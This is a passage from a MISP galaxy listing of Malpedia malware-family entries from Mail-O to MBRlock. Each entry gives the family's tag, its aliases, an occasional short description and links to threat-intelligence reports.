The tag is: *misp-galaxy:malpedia="Mail-O"*

Mail-O is also known as:

Table 4392. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mail_o

https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op
https://therecord.media/fsb-nktski-foreign-cyber-mercenaries-breached-russian-federal-agencies/
https://rt-solar.ru/upload/iblock/b55/Ataki-na-FOIV_otchet-NKTSKI-i-Rostelekom_Solar_otkrytyy.pdf
https://blog.group-ib.com/task
https://labs.sentinelone.com/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op/

MajikPos

The tag is: *misp-galaxy:malpedia="MajikPos"*

MajikPos is also known as:

Table 4393. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.majik_pos
https://www.cyber.nj.gov/threat-profiles/pos-malware-variants/majikpos
http://blog.trendmicro.com/trendlabs-security-intelligence/majikpos-combines-pos-malware-and-rats/

Makadocs

The tag is: *misp-galaxy:malpedia="Makadocs"*

Makadocs is also known as:

Table 4394. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.makadocs
https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/
https://www.symantec.com/connect/blogs/malware-targeting-windows-8-uses-google-docs
http://contagiodump.blogspot.com/2012/12/nov-2012-backdoorw32makadocs-sample.html
https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/

MakLoader

The tag is: *misp-galaxy:malpedia="MakLoader"*

MakLoader is also known as:

Table 4395. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.makloader
https://twitter.com/James_inthe_box/status/1046844087469391872

Makop

BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension ".makop". You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.

The tag is: *misp-galaxy:malpedia="Makop"*

Makop is also known as:

Table 4396. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.makop
https://lifars.com/wp-content/uploads/2021/08/Makop-Ransomware-Whitepaper-case-studyNEW-1.pdf
https://twitter.com/siri_urz/status/1221797493849018368
https://blog.morphisec.com/the-fair-upgrade-variant-of-phobos-ransomware
https://medium.com/@lcam/makop-the-toolkit-of-a-criminal-gang-53cd44563c11
https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/

Maktub

According to PCrisk, Maktub is ransomware distributed via zipped Word documents. Once the file is extracted and opened, Maktub infiltrates the system and encrypts files stored on the victim's computer. Maktub ransomware adds a .NORV, .gyul (or other random) extension to each file encrypted, thus, making it straightforward to determine which files are encrypted.

The tag is: *misp-galaxy:malpedia="Maktub"*

Maktub is also known as:

Table 4397. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maktub
https://blog.malwarebytes.com/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/
https://bartblaze.blogspot.de/2018/04/maktub-ransomware-possibly-rebranded-as.html
https://www.intezer.com/iron-cybercrime-group-under-the-scope-2/

MalumPOS

The tag is: *misp-galaxy:malpedia="MalumPOS"*

MalumPOS is also known as:

Table 4398. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.malumpos
http://documents.trendmicro.com/images/tex/pdf/MalumPOS%20Technical%20Brief.pdf

Mamba

According to PCrisk, Mamba is an updated variant of high-risk ransomware called Phobos. After successful infiltration, Mamba encrypts stored files and appends filenames with the ".mamba" extension plus the victim's unique ID and developer's email address.

The tag is: *misp-galaxy:malpedia="Mamba"*

Mamba is also known as:

- DiskCryptor
- HDDCryptor

Table 4399. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mamba
http://blog.trendmicro.com/trendlabs-security-intelligence/bksod-by-ransomware-hddcryptor-uses-commercial-tools-to-encrypt-network-shares-and-lock-hdds/
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://securelist.com/the-return-of-mamba-ransomware/79403/
https://www.ic3.gov/Media/News/2021/210323.pdf

ManameCrypt

The tag is: *misp-galaxy:malpedia="ManameCrypt"*

ManameCrypt is also known as:

- CryptoHost

Table 4400. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manamecrypt

https://www.bleepingcomputer.com/news/security/cryptohost-decrypted-locks-files-in-a-password-protected-rar-file/
https://www.gdatasoftware.com/blog/2016/04/28234-manamecrypt-a-ransomware-that-takes-a-different-route

Mango

The tag is: *misp-galaxy:malpedia="Mango"*

Mango is also known as:

Table 4401. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mango
https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/

Mangzamel

The tag is: *misp-galaxy:malpedia="Mangzamel"*

Mangzamel is also known as:

- junidor
- mengkite
- vedratve

Table 4402. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mangzamel
https://www.youtube.com/watch?v=NFJqD-LcpIg
https://www.hybrid-analysis.com/sample/5d631d77401615d53f3ce3dbc2bfee5d934602dc35d488aa7cebf9b3ff1c4816?environmentId=2
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2018GlobalThreatReport.pdf

Manifestus

The tag is: *misp-galaxy:malpedia="Manifestus"*

Manifestus is also known as:

Table 4403. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manifestus_ransomware
https://twitter.com/struppigel/status/811587154983981056

ManItsMe

The tag is: *misp-galaxy:malpedia="ManItsMe"*

ManItsMe is also known as:

Table 4404. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manitsme
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Manjusaka (Windows)

Cisco Talos compared this RAT to Cobalt Strike and Sliver. Written in Rust.

The tag is: *misp-galaxy:malpedia="Manjusaka (Windows)"*

Manjusaka (Windows) is also known as:

Table 4405. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.manjusaka
https://github.com/avast/ioc/tree/master/Manjusaka
https://blog.talosintelligence.com/2022/08/manjusaka-offensive-framework.html

Maoloa

Ransomware family closely related to GlobeImposter, notable for its use of SHACAL-2 encryption algorithm.

The tag is: *misp-galaxy:malpedia="Maoloa"*

Maoloa is also known as:

Table 4406. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maoloa
https://news.sophos.com/en-us/2022/07/20/ooda-x-ops-takes-on-burgeoning-sql-server-attacks/

https://id-ransomware.blogspot.com/2019/02/maoloa-ransomware.html	
https://www.sangfor.com/blog/cybersecurity/alert-new-globeimposter-olympian-gods-20-coming	

MAPIget

The tag is: *misp-galaxy:malpedia="MAPIget"*

MAPIget is also known as:

Table 4407. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mapiget
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

Marap

Marap is a downloader, named after its command and control (C&C) phone home parameter "param" spelled backwards. It is written in C and contains a few notable anti-analysis features.

The tag is: *misp-galaxy:malpedia="Marap"*

Marap is also known as:

Table 4408. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.marap
https://www.proofpoint.com/us/threat-insight/post/new-modular-downloaders-fingerprint-systems-prepare-more-part-1-marap
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf

Mariposa

The tag is: *misp-galaxy:malpedia="Mariposa"*

Mariposa is also known as:

- Autorun
- Palevo
- Rimecud

Table 4409. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mariposa
https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/
https://defintel.com/docs/Mariposa_Analysis.pdf
https://www.us-cert.gov/ics/advisories/ICSA-10-090-01

MarkiRAT

The tag is: *misp-galaxy:malpedia="MarkiRAT"*

MarkiRAT is also known as:

Table 4410. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.markirat
https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/

MarraCrypt

The tag is: *misp-galaxy:malpedia="MarraCrypt"*

MarraCrypt is also known as:

Table 4411. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.marracrypt
https://blog.naver.com/checkmal/223416580495
https://securitynews.sonicwall.com/xmlpost/marracrypt-ransomware-actively-spreading-in-the-wild/

Mars

Ransomware written in Delphi.

The tag is: *misp-galaxy:malpedia="Mars"*

Mars is also known as:

- MarsDecrypt

Table 4412. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.mars
https://id-ransomware.blogspot.com/2020/10/mars-ransomware.html

Mars Stealer

3xp0rt describes Mars Stealer as an improved successor of Oski Stealer, supporting stealing from current browsers and targeting crypto currencies and 2FA plugins.

The tag is: *misp-galaxy:malpedia="Mars Stealer"*

Mars Stealer is also known as:

Table 4413. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mars_stealer
https://www.microsoft.com/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/
https://threatmon.io/mars-stealer-malware-analysis-threatmon/
https://resources.infosecinstitute.com/topic/mars-stealer-malware-analysis/
https://drive.google.com/file/d/14cmYxzowVLyuiS5qDGOKzgI2_vak2Fve/view
https://www.bleepingcomputer.com/news/security/new-meta-information-stealer-distributed-in-malspam-campaign/
https://cyberint.com/blog/research/mars-stealer/
https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf
https://ke-la.com/information-stealers-a-new-landscape/
https://blog.cyble.com/2022/08/02/fake-atomic-wallet-website-distributing-mars-stealer/
https://3xp0rt.com/posts/mars-stealer
https://x-junior.github.io/malware%20analysis/MarsStealer/
https://blog.morphisec.com/threat-research-mars-stealer
https://blog.sekoia.io/mars-a-red-hot-information-stealer/
https://www.esentire.com/blog/fake-chrome-setup-leads-to-netsupportmanager-rat-and-mars-stealer
https://x-junior.github.io/malware%20analysis/2022/05/19/MarsStealer.html
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://cert.gov.ua/article/38606
https://isc.sans.edu/diary/Arkei+Variants%3A+From+Vidar+to+Mars+Stealer/28468
https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-mars-stealer

https://isc.sans.edu/diary/rss/28468
https://viuleeenz.github.io/posts/2023/11/applied-emulation-analysis-of-marsstealer/

Masad Stealer

The tag is: *misp-galaxy:malpedia="Masad Stealer"*

Masad Stealer is also known as:

Table 4414. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.masad_stealer
https://blogs.juniper.net/en-us/threat-research/masad-stealer-exfiltrating-using-telegram

MASS Logger

MassLogger is a .NET credential stealer. It starts with a launcher that uses simple anti-debugging techniques which can be easily bypassed when identified. This first stage loader eventually XOR-decrypts the second stage assembly which then decrypts, loads and executes the final MassLogger payload.

The tag is: *misp-galaxy:malpedia="MASS Logger"*

MASS Logger is also known as:

Table 4415. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.masslogger
https://www.gdatasoftware.com/blog/2020/06/36129-harmful-logging-diving-into-masslogger
https://www.seqrite.com/blog/masslogger-an-emerging-spyware-and-keylogger/
https://fr3d.hk/blog/masslogger-frankenstein-s-creation
https://twitter.com/pancak3lullz/status/1255893734241304576
https://blog.talosintelligence.com/2021/04/a-year-of-fajan-evolution-and-bloomberg.html
https://www.fireeye.com/blog/threat-research/2020/08/bypassing-masslogger-anti-analysis-man-in-the-middle-approach.html
https://maxkersten.nl/binary-analysis-course/malware-analysis/rezer0v4-loader/
https://www.seqrite.com/blog/masslogger-fileless-vbe-registry-malware/
https://blog.talosintelligence.com/2021/02/masslogger-cred-exfil.html
https://medium.com/@mariohenkel/decrypt-masslogger-2-4-0-0-configuration-eff3ee0720a7
https://decoded.avast.io/anhho/masslogger-v3-a-net-stealer-with-serious-obfuscation/

Matanbuchus

According to PCrisk, Matanbuchus is a loader-type malicious program offered by its developers as Malware-as-a-Service (MaaS). This piece of software is designed to cause chain infections.

Since it is used as a MaaS, both the malware it infiltrates into systems, and the attack reasons can vary - depending on the cyber criminals operating it. Matanbuchus has been observed being used in attacks against US universities and high schools, as well as a Belgian high-tech organization.

The tag is: *misp-galaxy:malpedia="Matanbuchus"*

Matanbuchus is also known as:

Table 4416. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matanbuchus
https://www.cyberark.com/resources/all-blog-posts/inside-matanbuchus-a-quirky-loader
https://blog.cyber5w.com/matanbuchus-loader-analysis
https://blog.cyble.com/2022/06/23/matanbuchus-loader-resurfaces/
https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn
https://www.intrinsec.com/wp-content/uploads/2024/04/TLP-CLEAR-Matanbuchus-Co-Code-Emulation-and-Cybercrime-Infrastructure-Discovery-1.pdf
https://medium.com/@DCSO_CyTec/a-deal-with-the-devil-analysis-of-a-recent-matanbuchus-sample-3ce991951d6a
https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/
https://www.intrinsec.com/prospero-proton66-tracing-uncovering-the-links-between-bulletproof-networks/
https://research.openanalysis.net/matanbuchus/loader/yara/triage/dumpulator/emulation/2022/06/19/matanbuchus-triage.html
https://isc.sans.edu/diary/rss/28752
https://www.0ffset.net/reverse-engineering/matanbuchus-loader-analysis/
https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer
https://www.embeeresearch.io/tls-certificates-for-threat-intel-dns/
https://r136a1.info/2022/05/25/introduction-of-a-pe-file-extractor-for-various-situations/

Matiex

Matiex Keylogger is being sold in the underground forums, due to their gained popularity, and can also be used as MaaS (Malware-as-a-service) because of their ease of use, competitive pricing and immediate response from support.

The tag is: *misp-galaxy:malpedia="Matiex"*

Matiex is also known as:

Table 4417. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matiex
https://labs.k7computing.com/index.php/matiex-on-sale-underground/

Matrix Banker

The tag is: *misp-galaxy:malpedia="Matrix Banker"*

Matrix Banker is also known as:

Table 4418. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_banker
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/

Matrix Ransom

Matrix is a ransomware that encrypts a victim's files and demands a ransom in cryptocurrency to decrypt them. It is distributed through phishing emails, hacking toolkits, and software downloaders. Matrix is a serious threat and can cause significant damage to a victim's data.

The tag is: *misp-galaxy:malpedia="Matrix Ransom"*

Matrix Ransom is also known as:

Table 4419. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matrix_ransom
https://news.sophos.com/en-us/2019/01/30/matrix-targeted-small-scale-canary-in-the-coal-mine-ransomware/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://www.blackhoodie.re/assets/archive/Matrix_Ransomware_blackhoodie.pdf
https://unit42.paloaltonetworks.com/matrix-ransomware/
https://blogs.blackberry.com/en/2018/11/threat-spotlight-inside-vssdestroy-ransomware
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-matrix-report.pdf

Matryoshka RAT

The tag is: *misp-galaxy:malpedia="Matryoshka RAT"*

Matryoshka RAT is also known as:

Table 4420. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matryoshka_rat
http://www.clearskysec.com/tulip/
https://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf

Matsnu

The tag is: *misp-galaxy:malpedia="Matsnu"*

Matsnu is also known as:

Table 4421. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.matsnu
https://malware.dontneedcoffee.com/2012/12/eyeglanceru.html
https://blog.checkpoint.com/wp-content/uploads/2015/07/matsnu-malwareid-technical-brief.pdf

Maudi

Specialized PoisonIvy Sideloader.

The tag is: *misp-galaxy:malpedia="Maudi"*

Maudi is also known as:

Table 4422. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maudi
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2012/NormanShark-MaudiOperation.pdf
https://contagiodump.blogspot.com/2010/06/may-28-cve-2009-3129-xls-for-office.html

Maui Ransomware

The tag is: *misp-galaxy:malpedia="Maui Ransomware"*

Maui Ransomware is also known as:

Table 4423. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.maui
https://www.cisa.gov/uscert/sites/default/files/publications/aa22-187a-north-korean%20state-sponsored-cyber-actors-use-maui-ransomware-to-target-the-hph-sector.pdf
https://www.cisa.gov/uscert/ncas/alerts/aa22-187a
https://media.defense.gov/2023/Feb/09/2003159161/-1/-1/0/CSA_RANSOMWARE_ATTACKS_ON_CI_FUND_DPRK_ACTIVITIES.PDF
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-040a
https://stairwell.com/wp-content/uploads/2022/07/Stairwell-Threat-Report-Maui-Ransomware.pdf
https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/

Maxtrilha

Banking trojan written in Delphi, targeting customers of European and South American banks.

The tag is: *misp-galaxy:malpedia="Maxtrilha"*

Maxtrilha is also known as:

Table 4424. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maxtrilha
<a href="https://seguranca-informatica.pt/the-new-maxtrilha-trojan-is-being-disseminated-and-targeting-several-banks/<mark>.YT3_VfwzaKN">https://seguranca-informatica.pt/the-new-maxtrilha-trojan-is-being-disseminated-and-targeting-several-banks/</mark>.YT3_VfwzaKN

MAYBEROBOT

The tag is: *misp-galaxy:malpedia="MAYBEROBOT"*

MAYBEROBOT is also known as:

- SIMPLEFIX

Table 4425. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mayberobot
https://cloud.google.com/blog/topics/threat-intelligence/new-malware-russia-coldriver

Maze

Maze Ransomware encrypts files and makes them inaccessible while adding a custom extension containing part of the ID of the victim. The ransom note is placed inside a text file and an htm file. There are a few different extensions appended to files which are randomly generated.

Actors are known to exfiltrate the data from the network for further extortion. It spreads mainly using email spam and various exploit kits (Spelevo, Fallout).

The code of Maze ransomware is highly complicated and obfuscated, which helps to evade security solutions using signature-based detections.

The tag is: *misp-galaxy:malpedia="Maze"*

Maze is also known as:

- ChaCha

Table 4426. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.maze
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/
https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf
https://twitter.com/certbund/status/1192756294307995655
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer
https://killbit.medium.com/applying-the-diamond-model-to-cognizant-msp-and-maze-ransomware-and-a-policy-assessment-498f01bd723f
https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html
https://www.zataz.com/cyber-attaque-a-lencontre-des-serveurs-de-bouygues-construction/
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf
https://sites.temple.edu/care/ci-rw-attacks/
https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/
https://www.bitdefender.com/files/News/CaseStudies/study/377/Bitdefender-Whitepaper-WMI-creat4871-en-EN-GenericUse.pdf
https://krebsonsecurity.com/2019/12/ransomware-gangs-now-outing-victim-businesses-that-dont-pay-up/
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

https://www.bleepingcomputer.com/news/security/chipmaker-maxlinear-reports-data-breach-after-maze-ransomware-attack/

https://blog.talosintelligence.com/2019/12/IR-Lessons-Maze.html

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel

https://securelist.com/maze-ransomware/99137/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf

https://www.bleepingcomputer.com/news/security/maze-ransomware-releases-files-stolen-from-city-of-pensacola/

https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/escape-from-the-maze/

https://download.bitdefender.com/resources/files/News/CaseStudies/study/318/Bitdefender-TRR-Whitepaper-Maze-creat4351-en-EN-GenericUse.pdf

https://www.crowdstrike.com/blog/ransomware-preparedness-a-call-to-action/

https://www.bleepingcomputer.com/news/security/maze-ransomware-behind-pensacola-cyberattack-1m-ransom-demand/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/

https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/

https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

https://labs.sentinelone.com/case-study-catching-a-human-operated-maze-ransomware-attack-in-action/

https://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/095/543/original/CTIR_casestudy_1.pdf

https://github.com/albertzsigovits/malware-notes/blob/master/Maze.md

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-2/

https://securelist.com/targeted-ransomware-encrypting-data/99255/

https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/

https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion

https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/

https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/

https://techcrunch.com/2020/03/26/chubb-insurance-breach-ransomware/

https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/

https://www.telsy.com/wp-content/uploads/Maze_Vaccine.pdf

https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf

https://blog.talosintelligence.com/2020/12/quarterly-ir-report-fall-2020-q4.html

https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/

https://web.archive.org/save/https://news.cognizant.com/2020-04-18-cognizant-security-update

https://blogs.quickheal.com/maze-ransomware-continues-threat-consumers/

https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://adversary.crowdstrike.com/adversary/twisted-spider/

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

http://www.secureworks.com/research/threat-profiles/gold-village

https://news.sophos.com/en-us/2020/09/22/mtr-casebook-blocking-a-15-million-maze-ransomware-attack/

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks-part-ii/

https://us-cert.cisa.gov/ncas/alerts/aa20-345a

https://www.bleepingcomputer.com/news/security/allied-universal-breached-by-maze-ransomware-stolen-data-leaked/

https://nakedsecurity.sophos.com/2020/06/04/nuclear-missile-contractor-hacked-in-maze-ransomware-attack/

https://www.bleepingcomputer.com/news/security/data-leak-marketplaces-aim-to-take-over-the-extortion-economy/

https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf

https://www.justice.gov/opa/pr/foreign-national-pleads-guilty-role-cybercrime-schemes-involving-tens-millions-dollars

https://www.zdnet.com/article/ransomware-gang-publishes-tens-of-gbs-of-internal-data-from-lg-and-xerox/

https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis

https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html

https://github.com/albertzsigovits/malware-notes/blob/master/Ransomware/Maze.md

https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html

https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/

https://www.bleepingcomputer.com/news/security/it-services-giant-cognizant-suffers-maze-ransomware-cyber-attack/

https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware

https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3

https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://www.secureworks.com/research/threat-profiles/gold-village

https://www.trendmicro.com/en_us/research/20/l/the-impact-of-modern-ransomware-on-manufacturing-networks.html

https://blog.talosintelligence.com/2020/09/CTIR-quarterly-trends-Q4-2020.html

https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/

https://www.splunk.com/en_us/blog/security/gone-in-52-seconds-and-42-minutes-a-comparative-analysis-of-ransomware-encryption-speed.html

https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/

https://www.docdroid.net/dUpPY5s/maze.pdf

https://www.cityofpensacola.com/DocumentCenter/View/18879/Deloitte-Executive-Summary-PDF

https://cti-league.com/wp-content/uploads/2021/02/CTI-League-Darknet-Report-2021.pdf

https://media-exp1.licdn.com/dms/document/C4E1FAQHyhJYCWxq5eg/feedshare-document-pdf-analyzed/0?e=1584129600&v=beta&t=9wTDR-mZPDF4ET7ABNgE2ab9g8e9wxQrhXsxI1cSX8U

https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide

https://nattothoughts.substack.com/p/ransom-war-russian-extortion-operations

https://news.sophos.com/en-us/2020/05/12/maze-ransomware-1-year-counting/

https://www.bleepingcomputer.com/news/security/maze-ransomware-now-delivered-by-spelevo-exploit-kit/

https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/

https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1

https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf

https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/

https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/
https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/
https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/
https://www.bleepingcomputer.com/news/security/zeus-icedid-malware-gangs-leader-pleads-guilty-faces-40-years-in-prison/
https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/
https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/
https://id-ransomware.blogspot.com/2019/05/chacha-ransomware.html
https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/
https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/
https://www.proofpoint.com/us/threat-insight/post/ta2101-plays-government-imposter-distribute-malware-german-italian-and-us
https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.brighttalk.com/webcast/7451/408167/navigating-maze-analysis-of-a-rising-ransomware-threat
https://web.archive.org/web/20200522065530/https://www.crowdstrike.com/blog/maze-ransomware-deobfuscation/
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html
https://oag.ca.gov/system/files/Letter%204.pdf
https://www.bleepingcomputer.com/news/security/maze-ransomware-now-encrypts-via-virtual-machines-to-evade-detection/

MBRlock

```
This ransomware modifies the master boot record of the victim's computer so that it
```

```
shows a ransom note before Windows starts.
```

The tag is: *misp-galaxy:malpedia="MBRlock"*

MBRlock is also known as:

- DexLocker

Table 4427. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.mbrlock
https://www.hybrid-analysis.com/sample/dfc56a704b5e031f3b0d2d0ea1d06f9157758ad950483b44ac4b77d33293cb38?environmentId=100
https://www.bleepingcomputer.com/news/security/dexcrypt-mbrlocker-demands-30-yuan-to-gain-access-to-computer/
https://app.any.run/tasks/0a7e643f-7562-4575-b8a5-747bd6b5f02d
http://id-ransomware.blogspot.com.tr/2018/02/mbrlock-hax-ransomware.html

MBR Locker
